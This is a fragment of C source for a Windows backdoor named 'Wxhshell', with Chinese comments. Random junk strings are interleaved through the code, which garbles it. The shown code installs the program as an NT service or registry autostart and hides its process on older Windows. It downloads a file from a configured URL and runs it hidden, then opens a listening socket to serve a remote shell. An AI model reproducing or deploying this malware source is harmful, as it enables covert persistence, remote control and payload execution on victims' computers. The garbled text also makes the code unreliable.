\ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C18pK8- if(hProcess==NULL) return 0; y:WRpCZoa 7}(wEC HMODULE hMod; lEIX,amwa char procName[255]; ](a*R unsigned long cbNeeded; <?kr"[cQeP @a#qq`b; if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VQ5T$,& \Si@t{`O CloseHandle(hProcess); -%*>z'|{ 8+{WH/}y8 if(strstr(procName,"services")) return 1; // 以服务启动 }`{>]2 UeV2`zIg` return 0; // 注册表启动 7Oe |:Z } w~y+Pv@
rVowHP // 主模块 4j|]=58 int StartWxhshell(LPSTR lpCmdLine) fIN8::Cs[ { ;29q SOCKET wsl; -BfZ P5 BOOL val=TRUE; 3Wxl7"!x m int port=0; b)9bYkd struct sockaddr_in door; wUHuykF
Z+`mla if(wscfg.ws_autoins) Install(); S!A)kK+ Zy,U'Dv port=atoi(lpCmdLine); A\ds0dUE !;.i#c_u if(port<=0) port=wscfg.ws_port; uy)iB'st& >DVjO9Kf WSADATA data; u4bPj2N8I if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (2(I|O# htk5\^(X if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 85Zy0l setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 28JWQ%- door.sin_family = AF_INET; &1YAPxX door.sin_addr.s_addr = inet_addr("127.0.0.1"); A]`63@- . door.sin_port = htons(port); wr,X@y%(! Q<B=m6~ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \2 &)b closesocket(wsl); {c`kC]9 return 1; }C!N$8d, } lfG]^id' 2#~5[PtP^ if(listen(wsl,2) == INVALID_SOCKET) { GV#"2{t
j closesocket(wsl); KArt4+31 return 1; D@*<p h= } W4Rs9NA} Wxhshell(wsl); ; S7
% WSACleanup(); 9Slx.9f Bm2"} = return 0; = zW}vm } 8X!^ 2B}J } eE5U|y)_ }eb}oK // 以NT服务方式启动 z40uY]Ck VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +168!Jw; { [}q6bXM* DWORD status = 0; ;W,XP#{W DWORD specificError = 0xfffffff; \M(0@#-$C Eh&*"&fHR serviceStatus.dwServiceType = SERVICE_WIN32; 0G ^73Z serviceStatus.dwCurrentState = SERVICE_START_PENDING; |S[Gg serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E9TWLB5A)( serviceStatus.dwWin32ExitCode = 0; P,lKa. serviceStatus.dwServiceSpecificExitCode = 0; *t.L` G serviceStatus.dwCheckPoint = 0; S]mXfB(mh serviceStatus.dwWaitHint = 0; / =&HunaxI 7.-Q9xv hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f{MXH&d 1\ if (hServiceStatusHandle==0) return; ,<s'/8Ik [t/7hx"2t status = GetLastError(); :td6Mywl if (status!=NO_ERROR) %Ez= { Q$Qs$ serviceStatus.dwCurrentState = SERVICE_STOPPED; 'D(| NYY serviceStatus.dwCheckPoint = 0; H+y(W5|2/X serviceStatus.dwWaitHint = 0; `wz@l:e serviceStatus.dwWin32ExitCode = status; kaf4GME] serviceStatus.dwServiceSpecificExitCode = specificError; xU+c?OLi SetServiceStatus(hServiceStatusHandle, &serviceStatus); <|9s {z return; l\<*9m< } >utm\!Gac INqD(EG serviceStatus.dwCurrentState = SERVICE_RUNNING; KR4X&d6 serviceStatus.dwCheckPoint = 0; B|U*2|e serviceStatus.dwWaitHint = 0; [F{q.mZj if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $\?BAkx } ew
-5VL s"*ZQ0OaD // 处理NT服务事件,比如:启动、停止 8$9<z VOID WINAPI NTServiceHandler(DWORD fdwControl) ?CIMez(h { vpu20?E>5z switch(fdwControl) _1_CYrUc { A3D"b9<D case SERVICE_CONTROL_STOP: A (z
lX_ serviceStatus.dwWin32ExitCode = 0; t@(S=i7}- serviceStatus.dwCurrentState = SERVICE_STOPPED; .`qw8e}y#' serviceStatus.dwCheckPoint = 0; x&>zD0\
:\ serviceStatus.dwWaitHint = 0; Q${0(#Nu { =yo?] ZS SetServiceStatus(hServiceStatusHandle, &serviceStatus); M
^gva?{ } <Vucr return; JwEQR case SERVICE_CONTROL_PAUSE: @%Y$@Qb{ serviceStatus.dwCurrentState = SERVICE_PAUSED; yg34b}m{ break; B>sSl1opI case SERVICE_CONTROL_CONTINUE: 0\XG;KA serviceStatus.dwCurrentState = SERVICE_RUNNING; T=Q"|S]V break; Mg3>/! case SERVICE_CONTROL_INTERROGATE: 2;X{ZLo break; b.HfxYt( }; trD-qi SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^W!w~g+ } Hw[(v[v 1N8gH&oF // 标准应用程序主函数 TY,5]*86I& int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }i,LP1R { e(nT2E n?uVq6c // 获取操作系统版本 L[v-5u) OsIsNt=GetOsVer(); \/=w\Tj GetModuleFileName(NULL,ExeFile,MAX_PATH); /S9s%scAy e$!01Y$HI // 从命令行安装 5X"y46i,H if(strpbrk(lpCmdLine,"iI")) Install(); qz]b8rX 2^Y@e=^A // 下载执行文件 AcC'hr.N+ if(wscfg.ws_downexe) { D}4*Il? if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) d@-s_gw WinExec(wscfg.ws_filenam,SW_HIDE); g Mhn\ } um.s:vj$ .CU~wB@h if(!OsIsNt) { /;P* ? // 如果时win9x,隐藏进程并且设置为注册表启动 Y\#+-E HideProc(); ,]CZ(q9- StartWxhshell(lpCmdLine); oqM(?3 yv } n`'v8 `a] else WGy3SV ) if(StartFromService()) lM0`yh // 以服务方式启动 08*O|Ym, StartServiceCtrlDispatcher(DispatchTable); \~j6}4XS1. else B?o ?LI // 普通方式启动 ~\4`tc StartWxhshell(lpCmdLine); kC :pal #$/SM_X14C return 0; P!uwhha/g }
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